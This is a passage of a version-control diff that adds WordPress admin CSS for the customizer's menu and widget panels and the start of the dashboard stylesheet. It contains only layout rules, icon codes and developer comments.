+	margin-top: 4px;
+}
+
+#customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle {
+	color: #555;
+}
+
+/* Screen Options */
+.customize-screen-options-toggle {
+	background: none;
+	border: none;
+	color: #555;
+	cursor: pointer;
+	margin: 0;
+	padding: 20px;
+	position: absolute;
+	right: 0;
+	top: 30px;
+}
+
+#customize-controls .customize-info .customize-help-toggle {
+	padding: 20px;
+}
+
+#customize-controls .customize-info .customize-help-toggle:before {
+	padding: 4px;
+}
+
+.customize-screen-options-toggle:hover,
+.customize-screen-options-toggle:active,
+.customize-screen-options-toggle:focus,
+.active-menu-screen-options .customize-screen-options-toggle,
+#customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,
+#customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,
+#customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus {
+	color: #0073aa;
+}
+
+.customize-screen-options-toggle:focus,
+#customize-controls .customize-info .customize-help-toggle:focus {
+	outline: none;
+}
+
+.customize-screen-options-toggle:before {
+	-moz-osx-font-smoothing: grayscale;
+	border: none;
+	content: "\f111";
+	display: block;
+	font: 18px/1 dashicons;
+	padding: 5px;
+	text-align: center;
+	text-decoration: none !important;
+	text-indent: 0;
+	left: 6px;
+	position: absolute;
+	top: 6px;
+}
+
+.customize-screen-options-toggle:focus:before,
+#customize-controls .customize-info .customize-help-toggle:focus:before {
+	border-radius: 100%;
+}
+
+.wp-customizer #screen-options-wrap {
+	display: none;
+	background: #fff;
+	border-top: 1px solid #ddd;
+	padding: 4px 15px 15px;
+}
+
+.wp-customizer .metabox-prefs label {
+	display: block;
+	padding-right: 0;
+	line-height: 30px;
+}
+
+/* rework the arrow indicator implementation for NVDA bug same as #32715 */
+.wp-customizer .toggle-indicator {
+	display: inline-block;
+	font-size: 20px;
+	line-height: 1;
+}
+
+.rtl .wp-customizer .toggle-indicator {
+	text-indent: 1px; /* account for the dashicon alignment */
+}
+
+.wp-customizer .menu-item .item-edit .toggle-indicator:before,
+#available-menu-items .accordion-section-title .toggle-indicator:before {
+	content: "\f140";
+	display: block;
+	padding: 1px 2px 1px 0px;
+	speak: none;
+	border-radius: 50%;
+	color: #72777c;
+	font: normal 20px/1 dashicons;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	text-decoration: none !important;
+}
+
+.control-section-nav_menu .field-link-target,
+.control-section-nav_menu .field-title-attribute,
+.control-section-nav_menu .field-css-classes,
+.control-section-nav_menu .field-xfn,
+.control-section-nav_menu .field-description {
+	display: none;
+}
+
+.control-section-nav_menu.field-link-target-active .field-link-target,
+.control-section-nav_menu.field-title-attribute-active .field-title-attribute,
+.control-section-nav_menu.field-css-classes-active .field-css-classes,
+.control-section-nav_menu.field-xfn-active .field-xfn,
+.control-section-nav_menu.field-description-active .field-description {
+	display: block;
+}
+
+/* WARNING: The 20px factor is hard-coded in JS. */
+.menu-item-depth-0  { margin-left: 0;     }
+.menu-item-depth-1  { margin-left: 20px;  }
+.menu-item-depth-2  { margin-left: 40px;  }
+.menu-item-depth-3  { margin-left: 60px;  }
+.menu-item-depth-4  { margin-left: 80px;  }
+.menu-item-depth-5  { margin-left: 100px; }
+.menu-item-depth-6  { margin-left: 120px; }
+.menu-item-depth-7  { margin-left: 140px; }
+.menu-item-depth-8  { margin-left: 160px; } /* Not likely to be used or useful beyond this depth */
+.menu-item-depth-9  { margin-left: 180px; }
+.menu-item-depth-10 { margin-left: 200px; }
+.menu-item-depth-11 { margin-left: 220px; }
+
+/* @todo handle .menu-item-settings width */
+.menu-item-depth-0  > .menu-item-bar { margin-right: 0;     }
+.menu-item-depth-1  > .menu-item-bar { margin-right: 20px;  }
+.menu-item-depth-2  > .menu-item-bar { margin-right: 40px;  }
+.menu-item-depth-3  > .menu-item-bar { margin-right: 60px;  }
+.menu-item-depth-4  > .menu-item-bar { margin-right: 80px;  }
+.menu-item-depth-5  > .menu-item-bar { margin-right: 100px; }
+.menu-item-depth-6  > .menu-item-bar { margin-right: 120px; }
+.menu-item-depth-7  > .menu-item-bar { margin-right: 140px; }
+.menu-item-depth-8  > .menu-item-bar { margin-right: 160px; }
+.menu-item-depth-9  > .menu-item-bar { margin-right: 180px; }
+.menu-item-depth-10 > .menu-item-bar { margin-right: 200px; }
+.menu-item-depth-11 > .menu-item-bar { margin-right: 220px; }
+
+/* Submenu left margin. */
+.menu-item-depth-0  .menu-item-transport { margin-left: 0;      }
+.menu-item-depth-1  .menu-item-transport { margin-left: -20px;  }
+.menu-item-depth-3  .menu-item-transport { margin-left: -60px;  }
+.menu-item-depth-4  .menu-item-transport { margin-left: -80px;  }
+.menu-item-depth-2  .menu-item-transport { margin-left: -40px;  }
+.menu-item-depth-5  .menu-item-transport { margin-left: -100px; }
+.menu-item-depth-6  .menu-item-transport { margin-left: -120px; }
+.menu-item-depth-7  .menu-item-transport { margin-left: -140px; }
+.menu-item-depth-8  .menu-item-transport { margin-left: -160px; }
+.menu-item-depth-9  .menu-item-transport { margin-left: -180px; }
+.menu-item-depth-10 .menu-item-transport { margin-left: -200px; }
+.menu-item-depth-11 .menu-item-transport { margin-left: -220px; }
+
+/* WARNING: The 20px factor is hard-coded in JS. */
+.reordering .menu-item-depth-0  { margin-left: 0;     }
+.reordering .menu-item-depth-1  { margin-left: 15px;  }
+.reordering .menu-item-depth-2  { margin-left: 30px;  }
+.reordering .menu-item-depth-3  { margin-left: 45px;  }
+.reordering .menu-item-depth-4  { margin-left: 60px;  }
+.reordering .menu-item-depth-5  { margin-left: 75px;  }
+.reordering .menu-item-depth-6  { margin-left: 90px;  }
+.reordering .menu-item-depth-7  { margin-left: 105px; }
+.reordering .menu-item-depth-8  { margin-left: 120px; } /* Not likely to be used or useful beyond this depth */
+.reordering .menu-item-depth-9  { margin-left: 135px; }
+.reordering .menu-item-depth-10 { margin-left: 150px; }
+.reordering .menu-item-depth-11 { margin-left: 165px; }
+
+.reordering .menu-item-depth-0  > .menu-item-bar { margin-right: 0;     }
+.reordering .menu-item-depth-1  > .menu-item-bar { margin-right: 15px;  }
+.reordering .menu-item-depth-2  > .menu-item-bar { margin-right: 30px;  }
+.reordering .menu-item-depth-3  > .menu-item-bar { margin-right: 45px;  }
+.reordering .menu-item-depth-4  > .menu-item-bar { margin-right: 60px;  }
+.reordering .menu-item-depth-5  > .menu-item-bar { margin-right: 75px;  }
+.reordering .menu-item-depth-6  > .menu-item-bar { margin-right: 90px;  }
+.reordering .menu-item-depth-7  > .menu-item-bar { margin-right: 105px; }
+.reordering .menu-item-depth-8  > .menu-item-bar { margin-right: 120px; }
+.reordering .menu-item-depth-9  > .menu-item-bar { margin-right: 135px; }
+.reordering .menu-item-depth-10 > .menu-item-bar { margin-right: 150px; }
+.reordering .menu-item-depth-11 > .menu-item-bar { margin-right: 165px; }
+
+.control-section-nav_menu.menu .menu-item-edit-active {
+	margin-left: 0;
+}
+
+.control-section-nav_menu.menu .menu-item-edit-active .menu-item-bar {
+	margin-right: 0;
+}
+
+.control-section-nav_menu.menu .sortable-placeholder {
+	margin-top: 0;
+	margin-bottom: 1px;
+	max-width: calc(100% - 2px);
+	float: left;
+	display: list-item;
+	border-color: #a0a5aa;
+}
+
+.menu-item-transport li.customize-control {
+	float: none;
+}
+
+.control-section-nav_menu.menu ul.menu-item-transport .menu-item-bar {
+	margin-top: 0;
+}
+
+/**
+ * Add-menu-items mode
+ */
+
+.adding-menu-items .control-section {
+	opacity: .4;
+}
+
+.adding-menu-items .control-panel.control-section,
+.adding-menu-items .control-section.open {
+	opacity: 1;
+}
+
+.menu-item-bar .item-delete {
+	color: #a00;
+	position: absolute;
+	top: 2px;
+	right: -19px;
+	width: 30px;
+	height: 38px;
+	cursor: pointer;
+	display: none;
+}
+
+.menu-item-bar .item-delete:before {
+	content: "\f335";
+	position: absolute;
+	top: 9px;
+	left: 5px;
+	border-radius: 50%;
+	font: normal 20px/1 dashicons;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+.ie8 .menu-item-bar .item-delete:before {
+	top: -10px;
+}
+
+.menu-item-bar .item-delete:hover,
+.menu-item-bar .item-delete:focus {
+	box-shadow: none;
+	outline: none;
+	color: #dc3232;
+}
+
+.adding-menu-items .menu-item-bar .item-edit {
+	display: none;
+}
+
+.adding-menu-items .menu-item-bar .item-delete {
+	display: block;
+}
+
+/**
+ * Styles for menu-item addition panel
+ */
+
+#available-menu-items.opening {
+	overflow-y: hidden; /* avoid scrollbar jitter with animating heights */
+}
+
+#available-menu-items #available-menu-items-search.open {
+	height: 100%;
+	border-bottom: none;
+}
+
+#available-menu-items .accordion-section-title {
+	border-left: none;
+	border-right: none;
+	background: #fff;
+	transition: background-color 0.15s;
+	/* Reset the value inherited from the base .accordion-section-title style. Ticket #37589. */
+	-webkit-user-select: auto;
+	-moz-user-select: auto;
+	-ms-user-select: auto;
+	user-select: auto;
+}
+
+#available-menu-items .open .accordion-section-title,
+#available-menu-items #available-menu-items-search .accordion-section-title {
+	background: #eee;
+}
+
+/* rework the arrow indicator implementation for NVDA bug see #32715 */
+#available-menu-items .accordion-section-title:after {
+	content: none !important;
+}
+
+#available-menu-items .accordion-section-title:hover .toggle-indicator:before,
+#available-menu-items .button-link:hover .toggle-indicator:before,
+#available-menu-items .button-link:focus .toggle-indicator:before {
+	color: #23282d;
+}
+
+#available-menu-items .open .accordion-section-title .toggle-indicator:before {
+	content: "\f142";
+	color: #23282d;
+}
+
+#available-menu-items .available-menu-items-list {
+	overflow-y: auto;
+	max-height: 200px; /* This gets set in JS to fit the screen size, and based on # of sections. */
+	background: transparent;
+}
+
+#available-menu-items .accordion-section-title button {
+	display: block;
+	width: 28px;
+	height: 35px;
+	position: absolute;
+	top: 5px;
+	right: 5px;
+	box-shadow: none;
+	outline: none;
+	cursor: pointer;
+	text-align: center;
+}
+
+#available-menu-items .accordion-section-title .no-items,
+#available-menu-items .cannot-expand .accordion-section-title .spinner,
+#available-menu-items .cannot-expand .accordion-section-title > button {
+	display: none;
+}
+
+#available-menu-items-search.cannot-expand .accordion-section-title .spinner {
+	display: block;
+}
+
+#available-menu-items .cannot-expand .accordion-section-title .no-items {
+	float: right;
+	color: #555d66;
+	font-weight: 400;
+	margin-left: 5px;
+}
+
+#available-menu-items .accordion-section-content {
+	max-height: 290px;
+	margin: 0;
+	padding: 0;
+	position: relative;
+	background: transparent;
+}
+
+#available-menu-items .accordion-section-content .available-menu-items-list {
+	margin: 0 0 45px 0;
+	padding: 1px 15px 15px 15px;
+}
+
+#available-menu-items .accordion-section-content .available-menu-items-list:only-child { /* Types that do not support new items for the current user */
+	margin-bottom: 0;
+}
+
+#new-custom-menu-item .accordion-section-content {
+	padding: 0 15px 15px 15px;
+}
+
+#available-menu-items .menu-item-tpl {
+	margin: 0;
+}
+
+#custom-menu-item-name.invalid,
+#custom-menu-item-url.invalid,
+.edit-menu-item-url.invalid,
+.menu-name-field.invalid,
+.menu-name-field.invalid:focus,
+#available-menu-items .new-content-item .create-item-input.invalid,
+#available-menu-items .new-content-item .create-item-input.invalid:focus {
+	border: 1px solid #dc3232;
+}
+
+#available-menu-items .menu-item-handle .item-type {
+	padding-right: 0;
+}
+
+#available-menu-items .menu-item-handle .item-title {
+	padding-left: 20px;
+}
+
+#available-menu-items .menu-item-handle {
+	cursor: pointer;
+}
+
+#available-menu-items .menu-item-handle {
+	box-shadow: none;
+	margin-top: -1px;
+}
+
+#available-menu-items .menu-item-handle:hover {
+	z-index: 1;
+}
+
+#available-menu-items .item-title h4 {
+	padding: 0 0 5px;
+	font-size: 14px;
+}
+
+#available-menu-items .item-add {
+	position: absolute;
+	top: 1px;
+	left: 1px;
+	color: #82878c;
+	width: 30px;
+	height: 38px;
+	box-shadow: none;
+	outline: none;
+	cursor: pointer;
+	text-align: center;
+}
+
+#available-menu-items .menu-item-handle .item-add:focus {
+	color: #23282d;
+}
+
+#available-menu-items .item-add:before {
+	content: "\f543";
+	position: relative;
+	left: 2px;
+	top: 3px;
+	display: inline-block;
+	height: 20px;
+	border-radius: 50%;
+	font: normal 20px/1.05 dashicons; /* line height is to account for the dashicon's vertical alignment */
+}
+
+#available-menu-items .menu-item-handle.item-added .item-type,
+#available-menu-items .menu-item-handle.item-added .item-title,
+#available-menu-items .menu-item-handle.item-added:hover .item-add,
+#available-menu-items .menu-item-handle.item-added .item-add:focus {
+	color: #82878c;
+}
+
+#available-menu-items .menu-item-handle.item-added .item-add:before {
+	content: "\f147";
+}
+
+#available-menu-items .accordion-section-title.loading .spinner,
+#available-menu-items-search.loading .accordion-section-title .spinner {
+	visibility: visible;
+	margin: 0 20px;
+}
+
+#available-menu-items-search .spinner {
+	position: absolute;
+	top: 20px; /* 13 container padding +1 input margin +6 ( ( 32 input height - 20 spinner height ) / 2 ) */
+	right: 21px;
+	margin: 0 !important;
+}
+
+/* search results list */
+#available-menu-items #available-menu-items-search .accordion-section-content {
+	position: absolute;
+	left: 0;
+	top: 60px; /* below title div / search input */
+	bottom: 0px; /* 100% height that still triggers lazy load */
+	max-height: none;
+	width: 100%;
+	padding: 1px 15px 15px;
+	box-sizing: border-box;
+}
+
+#available-menu-items-search .nothing-found {
+	/* Compensate the 1px top padding of the container. */
+	margin-top: -1px;
+}
+
+#available-menu-items-search .accordion-section-title:after {
+	display: none;
+}
+
+#available-menu-items-search .accordion-section-content:empty {
+	min-height: 0;
+	padding: 0;
+}
+
+#available-menu-items-search.loading .accordion-section-content div {
+	opacity: .5;
+}
+
+#available-menu-items-search.loading.loading-more .accordion-section-content div {
+	opacity: 1;
+}
+
+#customize-preview {
+	transition: all 0.2s;
+}
+
+body.adding-menu-items #available-menu-items {
+	left: 0;
+	visibility: visible;
+}
+
+body.adding-menu-items .wp-full-overlay-main {
+	left: 300px;
+}
+
+body.adding-menu-items #customize-preview {
+	opacity: 0.4;
+}
+
+body.adding-menu-items #customize-preview iframe {
+	pointer-events: none;
+}
+
+.menu-item-handle .spinner {
+	display: none;
+	float: left;
+	margin: 0 8px 0 0;
+}
+
+.nav-menu-inserted-item-loading .spinner {
+	display: block;
+}
+
+.nav-menu-inserted-item-loading .menu-item-handle .item-type {
+	padding: 0 0 0 8px;
+}
+
+.nav-menu-inserted-item-loading .menu-item-handle,
+.added-menu-item .menu-item-handle.loading {
+	padding: 10px 15px 10px 8px;
+	cursor: default;
+	opacity: .5;
+	background: #fff;
+	color: #727773;
+}
+
+.added-menu-item .menu-item-handle {
+	transition-property: opacity, background, color;
+	transition-duration: 1.25s;
+	transition-timing-function: cubic-bezier( .25, -2.5, .75, 8 ); /* Replacement for .hide().fadeIn('slow') in JS to add emphasis when it's loaded. */
+}
+
+/* Add/delete Menus */
+
+#customize-theme-controls .control-panel-content .control-section-nav_menu:nth-last-child(2) .accordion-section-title {
+	border-bottom-color: #ddd;
+}
+
+/* @todo update selector */
+#accordion-section-add_menu {
+	margin: 15px 12px;
+}
+
+#accordion-section-add_menu h3 {
+	text-align: right;
+}
+
+#accordion-section-add_menu h3,
+#accordion-section-add_menu .customize-add-menu-button {
+	margin: 0;
+}
+
+#accordion-section-add_menu .customize-add-menu-button {
+	font-weight: normal;
+}
+
+#create-new-menu-submit {
+	float: right;
+	margin: 0 0 12px 0;
+}
+
+.menu-delete-item {
+	float: left;
+	padding: 1em 0;
+	width: 100%;
+}
+
+.assigned-menu-locations-title p {
+	margin: 0 0 8px 0;
+}
+
+li.assigned-to-menu-location .menu-delete-item {
+	display: none;
+}
+
+li.assigned-to-menu-location .add-new-menu-item {
+	margin-bottom: 1em;
+}
+
+.menu-item-handle {
+	margin-top: -1px;
+}
+.ui-sortable-disabled .menu-item-handle {
+	cursor: default;
+}
+
+.menu-item-handle:hover {
+	position: relative;
+	z-index: 10;
+	color: #0073aa;
+}
+
+.menu-item-handle:hover .item-type,
+.menu-item-handle:hover .item-edit,
+#available-menu-items .menu-item-handle:hover .item-add {
+	color: #0073aa;
+}
+
+.menu-item-edit-active .menu-item-handle {
+	border-color: #999;
+	border-bottom: none;
+}
+
+.customize-control-nav_menu_item {
+	margin-bottom: 0;
+}
+
+.customize-control-nav_menu .new-menu-item-invitation {
+	margin-top: 0;
+	margin-bottom: 0;
+}
+
+.customize-control-nav_menu .customize-control-nav_menu-buttons {
+	margin-top: 12px;
+}
+
+/**
+ * box-shadows
+ */
+
+.wp-customizer .menu-item .submitbox .submitdelete:focus,
+.customize-screen-options-toggle:focus:before,
+#customize-controls .customize-info .customize-help-toggle:focus:before,
+.wp-customizer button:focus .toggle-indicator:before,
+.menu-delete:focus,
+.menu-item-bar .item-delete:focus:before,
+#available-menu-items .item-add:focus:before {
+	box-shadow:
+		0 0 0 1px #5b9dd9,
+		0 0 2px 1px rgba(30, 140, 190, .8);
+}
+
+
+@media screen and ( max-width: 782px ) {
+	#available-menu-items #available-menu-items-search .accordion-section-content {
+		top: 63px;
+	}
+}
+
+@media screen and ( max-width: 640px ) {
+	#available-menu-items #available-menu-items-search .accordion-section-content {
+		top: 130px;
+	}
+}
Index: /tags/5.0.20/src/wp-admin/css/customize-widgets.css
===================================================================
--- /tags/5.0.20/src/wp-admin/css/customize-widgets.css	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/css/customize-widgets.css	(revision 56912)
@@ -0,0 +1,478 @@
+.wp-full-overlay-sidebar {
+	overflow: visible;
+}
+
+/**
+ * Hide all sidebar sections by default, only show them (via JS) once the
+ * preview loads and we know whether the sidebars are used in the template.
+ */
+
+.control-section.control-section-sidebar,
+.customize-control-sidebar_widgets label,
+.customize-control-sidebar_widgets .hide-if-js {
+	/* The link in .customize-control-sidebar_widgets .hide-if-js will fail if it ever gets used. */
+	display: none;
+}
+
+.control-section.control-section-sidebar .accordion-section-content.ui-sortable {
+	overflow: visible;
+}
+
+/* Note: widget-tops are more compact when (max-height: 700px) and (min-width: 981px). */
+.customize-control-widget_form .widget-top {
+	background: #fff;
+	transition: opacity 0.5s;
+}
+
+.customize-control .widget-action {
+	color: #72777c;
+}
+
+.customize-control .widget-top:hover .widget-action,
+.customize-control .widget-action:focus {
+	color: #23282d;
+}
+
+.customize-control-widget_form:not(.widget-rendered) .widget-top {
+	opacity: 0.5;
+}
+
+.customize-control-widget_form .widget-control-save {
+	display: none;
+}
+
+.customize-control-widget_form .spinner {
+	visibility: hidden;
+	margin-top: 0;
+}
+
+.customize-control-widget_form.previewer-loading .spinner {
+	visibility: visible;
+}
+
+.customize-control-widget_form.widget-form-disabled .widget-content {
+	opacity: 0.7;
+	pointer-events: none;
+	-moz-user-select: none;
+	-webkit-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+.customize-control-widget_form .widget {
+	margin-bottom: 0;
+}
+
+.customize-control-widget_form.wide-widget-control .widget-inside {
+	position: fixed;
+	left: 299px;
+	top: 25%;
+	border: 1px solid rgb(229, 229, 229);
+	overflow: auto;
+}
+.customize-control-widget_form.wide-widget-control .widget-inside > .form {
+	padding: 20px;
+}
+
+.customize-control-widget_form.wide-widget-control .widget-top {
+	transition: background-color 0.4s;
+}
+.customize-control-widget_form.wide-widget-control.expanding .widget-top,
+.customize-control-widget_form.wide-widget-control.expanded:not(.collapsing) .widget-top {
+	background-color: rgb(227, 227, 227);
+}
+
+.widget-inside {
+	padding: 1px 10px 10px 10px;
+	border-top: none;
+	line-height: 16px;
+}
+
+.customize-control-widget_form.expanded .widget-action .toggle-indicator:before {
+	content: "\f142";
+}
+
+.customize-control-widget_form.wide-widget-control .widget-action .toggle-indicator:before {
+	content: "\f139";
+}
+
+.customize-control-widget_form.wide-widget-control.expanded .widget-action .toggle-indicator:before {
+	content: "\f141";
+}
+
+.widget-title-action {
+	cursor: pointer;
+}
+
+.widget-top,
+.customize-control-widget_form .widget .customize-control-title {
+	cursor: move;
+}
+
+.control-section.accordion-section.highlighted > .accordion-section-title,
+.customize-control-widget_form.highlighted {
+	outline: none;
+	box-shadow: 0 0 2px rgba(30,140,190,0.8);
+	position: relative;
+	z-index: 1;
+}
+
+#widget-customizer-control-templates {
+	display: none;
+}
+
+/**
+ * Widget reordering styles
+ */
+
+#customize-theme-controls .widget-reorder-nav {
+	display: none;
+	float: right;
+	background-color: #fafafa;
+}
+
+.move-widget:before {
+	content: "\f504";
+}
+
+#customize-theme-controls .move-widget-area {
+	display: none;
+	background: #fff;
+	border: 1px solid #ddd;
+	border-top: none;
+	cursor: auto;
+}
+
+#customize-theme-controls .reordering .move-widget-area.active {
+	display: block;
+}
+
+#customize-theme-controls .move-widget-area .description {
+	margin: 0;
+	padding: 15px 20px;
+	font-weight: 400;
+}
+
+#customize-theme-controls .widget-area-select {
+	margin: 0;
+	padding: 0;
+	list-style: none;
+}
+
+#customize-theme-controls .widget-area-select li {
+	position: relative;
+	margin: 0;
+	padding: 13px 15px 15px 42px;
+	color: #555;
+	border-top: 1px solid #eee;
+	cursor: pointer;
+	-webkit-user-select: none;
+	-moz-user-select: none;
+	-ms-user-select: none;
+	user-select: none;
+}
+
+#customize-theme-controls .widget-area-select li:before {
+	display: none;
+	content: "\f147";
+	position: absolute;
+	top: 12px;
+	left: 10px;
+	font: normal 20px/1 dashicons;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+#customize-theme-controls .widget-area-select li:last-child {
+	border-bottom: 1px solid #eee;
+}
+
+#customize-theme-controls .widget-area-select .selected {
+	color: #fff;
+	text-shadow: 0 -1px 0 rgba(0,0,0,.4);
+	background: #00a0d2;
+}
+
+#customize-theme-controls .widget-area-select .selected:before {
+	display: block;
+}
+
+#customize-theme-controls .move-widget-actions {
+	text-align: right;
+	padding: 12px;
+}
+
+#customize-theme-controls .reordering .widget-title-action {
+	display: none;
+}
+
+#customize-theme-controls .reordering .widget-reorder-nav {
+	display: block;
+}
+
+/* Text Widget */
+.wp-customizer div.mce-inline-toolbar-grp,
+.wp-customizer div.mce-tooltip {
+	z-index: 500100 !important;
+}
+.wp-customizer .ui-autocomplete.wplink-autocomplete {
+	z-index: 500110; /* originally 100110, but z-index of .wp-full-overlay is 500000 */
+}
+.wp-customizer #wp-link-backdrop {
+	z-index: 500100; /* originally 100100, but z-index of .wp-full-overlay is 500000 */
+}
+.wp-customizer #wp-link-wrap {
+	z-index: 500105; /* originally 100105, but z-index of .wp-full-overlay is 500000 */
+}
+
+/**
+ * Styles for new widget addition panel
+ */
+
+/* override widgets admin page rules in wp-admin/css/widgets.css */
+#widgets-left #available-widgets .widget {
+	float: none !important;
+	width: auto !important;
+}
+
+.ios #available-widgets {
+	transition: left 0s;
+}
+
+#available-widgets .widget-tpl:hover,
+#available-widgets .widget-tpl.selected {
+	background: #f3f3f5;
+	border-bottom-color: #ccc;
+	color: #0073aa;
+	border-left: 4px solid #0073aa;
+}
+
+#customize-controls .widget-title h3 {
+	font-size: 1em;
+}
+
+#available-widgets .widget-title h3 {
+	padding: 0 0 5px;
+	font-size: 14px;
+}
+
+#available-widgets .widget .widget-description {
+	padding: 0;
+	color: #72777c;
+}
+
+#customize-preview {
+	transition: all 0.2s;
+}
+
+body.adding-widget #available-widgets {
+	left: 0;
+	visibility: visible;
+}
+
+body.adding-widget .wp-full-overlay-main {
+	left: 300px;
+}
+
+body.adding-widget #customize-preview {
+	opacity: 0.4;
+}
+
+
+/**
+ * Widget Icon styling
+ * No plurals in naming.
+ * Ordered from lowest to highest specificity.
+ */
+
+#available-widgets .widget-title {
+	position: relative;
+}
+
+#available-widgets .widget-title:before {
+	content: "\f132";
+	position: absolute;
+	top: -3px;
+	right: 100%;
+	margin-right: 20px;
+	width: 20px;
+	height: 20px;
+	color: #32373c;
+	font: normal 20px/1 dashicons;
+	text-align: center;
+	box-sizing: border-box;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+/* smiley */
+#available-widgets [class*="easy"] .widget-title:before { content: "\f328"; top: -4px; }
+
+/* star-filled */
+#available-widgets [class*="super"] .widget-title:before,
+#available-widgets [class*="like"] .widget-title:before { content: "\f155"; top: -4px; }
+
+/* wordpress */
+#available-widgets [class*="meta"] .widget-title:before { content: "\f120"; }
+
+/* archive-box */
+#available-widgets [class*="archives"] .widget-title:before { content: "\f480"; top: -4px; }
+
+/* category */
+#available-widgets [class*="categor"] .widget-title:before { content: "\f318"; top: -4px; }
+
+/* comments */
+#available-widgets [class*="comment"] .widget-title:before,
+#available-widgets [class*="testimonial"] .widget-title:before,
+#available-widgets [class*="chat"] .widget-title:before { content: "\f101"; }
+
+/* post */
+#available-widgets [class*="post"] .widget-title:before { content: "\f109"; }
+
+/* admin-page */
+#available-widgets [class*="page"] .widget-title:before { content: "\f105"; }
+
+/* text */
+#available-widgets [class*="text"] .widget-title:before { content: "\f478"; }
+
+/* links */
+#available-widgets [class*="link"] .widget-title:before { content: "\f103"; }
+
+/* search */
+#available-widgets [class*="search"] .widget-title:before { content: "\f179"; }
+
+/* menu */
+#available-widgets [class*="menu"] .widget-title:before,
+#available-widgets [class*="nav"] .widget-title:before { content: "\f333"; }
+
+/* tag-cloud */
+#available-widgets [class*="tag"] .widget-title:before { content: "\f479"; }
+
+/* rss */
+#available-widgets [class*="rss"] .widget-title:before { content: "\f303"; top: -6px; }
+
+/* calendar */
+#available-widgets [class*="event"] .widget-title:before,
+#available-widgets [class*="calendar"] .widget-title:before { content: "\f145"; top: -4px;}
+
+/* format-image */
+#available-widgets [class*="image"] .widget-title:before,
+#available-widgets [class*="photo"] .widget-title:before,
+#available-widgets [class*="slide"] .widget-title:before,
+#available-widgets [class*="instagram"] .widget-title:before { content: "\f128"; }
+
+/* format-gallery */
+#available-widgets [class*="album"] .widget-title:before,
+#available-widgets [class*="galler"] .widget-title:before { content: "\f161"; }
+
+/* format-video */
+#available-widgets [class*="video"] .widget-title:before,
+#available-widgets [class*="tube"] .widget-title:before { content: "\f126"; }
+
+/* format-audio */
+#available-widgets [class*="music"] .widget-title:before,
+#available-widgets [class*="radio"] .widget-title:before,
+#available-widgets [class*="audio"] .widget-title:before { content: "\f127"; }
+
+/* admin-users */
+#available-widgets [class*="login"] .widget-title:before,
+#available-widgets [class*="user"] .widget-title:before,
+#available-widgets [class*="member"] .widget-title:before,
+#available-widgets [class*="avatar"] .widget-title:before,
+#available-widgets [class*="subscriber"] .widget-title:before,
+#available-widgets [class*="profile"] .widget-title:before,
+#available-widgets [class*="grofile"] .widget-title:before { content: "\f110"; }
+
+/* cart */
+#available-widgets [class*="commerce"] .widget-title:before,
+#available-widgets [class*="shop"] .widget-title:before,
+#available-widgets [class*="cart"] .widget-title:before { content: "\f174"; top: -4px; }
+
+/* shield */
+#available-widgets [class*="secur"] .widget-title:before,
+#available-widgets [class*="firewall"] .widget-title:before { content: "\f332"; }
+
+/* chart-bar */
+#available-widgets [class*="analytic"] .widget-title:before,
+#available-widgets [class*="stat"] .widget-title:before,
+#available-widgets [class*="poll"] .widget-title:before { content: "\f185"; }
+
+/* feedback */
+#available-widgets [class*="form"] .widget-title:before { content: "\f175"; }
+
+/* email-alt */
+#available-widgets [class*="subscribe"] .widget-title:before,
+#available-widgets [class*="news"] .widget-title:before,
+#available-widgets [class*="contact"] .widget-title:before,
+#available-widgets [class*="mail"] .widget-title:before { content: "\f466"; }
+
+/* share */
+#available-widgets [class*="share"] .widget-title:before,
+#available-widgets [class*="socia"] .widget-title:before { content: "\f237"; }
+
+/* translation */
+#available-widgets [class*="lang"] .widget-title:before,
+#available-widgets [class*="translat"] .widget-title:before { content: "\f326"; }
+
+/* location-alt */
+#available-widgets [class*="locat"] .widget-title:before,
+#available-widgets [class*="map"] .widget-title:before { content: "\f231"; }
+
+/* download */
+#available-widgets [class*="download"] .widget-title:before { content: "\f316"; }
+
+/* cloud */
+#available-widgets [class*="weather"] .widget-title:before { content: "\f176"; top: -4px;}
+
+/* facebook */
+#available-widgets [class*="facebook"] .widget-title:before { content: "\f304"; }
+
+/* twitter */
+#available-widgets [class*="tweet"] .widget-title:before,
+#available-widgets [class*="twitter"] .widget-title:before { content: "\f301"; }
+
+@media screen and (max-height: 700px) and (min-width: 981px) {
+	/* Compact widget-tops on smaller laptops, but not tablets. See ticket #27112#comment:4 */
+	.customize-control-widget_form {
+		margin-bottom: 0;
+	}
+
+	.widget-top {
+		box-shadow: none;
+		margin-top: -1px;
+	}
+
+	.widget-top:hover {
+		position: relative;
+		z-index: 1;
+	}
+
+	.last-widget {
+		margin-bottom: 15px;
+	}
+
+	.widget-title h3 {
+		padding: 13px 15px;
+	}
+
+	.widget-top .widget-action {
+		padding: 8px 10px;
+	}
+
+	.widget-reorder-nav span {
+		height: 39px;
+	}
+
+	.widget-reorder-nav span:before {
+		line-height: 39px;
+	}
+
+	/* Compact the move widget areas. */
+	#customize-theme-controls .widget-area-select li {
+		padding: 9px 15px 11px 42px;
+	}
+
+	#customize-theme-controls .widget-area-select li:before {
+		top: 8px;
+	}
+}
Index: /tags/5.0.20/src/wp-admin/css/dashboard.css
===================================================================
--- /tags/5.0.20/src/wp-admin/css/dashboard.css	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/css/dashboard.css	(revision 56912)
@@ -0,0 +1,1313 @@
+#wpbody-content #dashboard-widgets.columns-1 .postbox-container {
+	width: 100%;
+}
+
+#wpbody-content #dashboard-widgets.columns-2 .postbox-container {
+	width: 49.5%;
+}
+
+#wpbody-content #dashboard-widgets.columns-2 #postbox-container-2,
+#wpbody-content #dashboard-widgets.columns-2 #postbox-container-3,
+#wpbody-content #dashboard-widgets.columns-2 #postbox-container-4 {
+	float: right;
+	width: 50.5%;
+}
+
+#wpbody-content #dashboard-widgets.columns-3 .postbox-container {
+	width: 33.5%;
+}
+
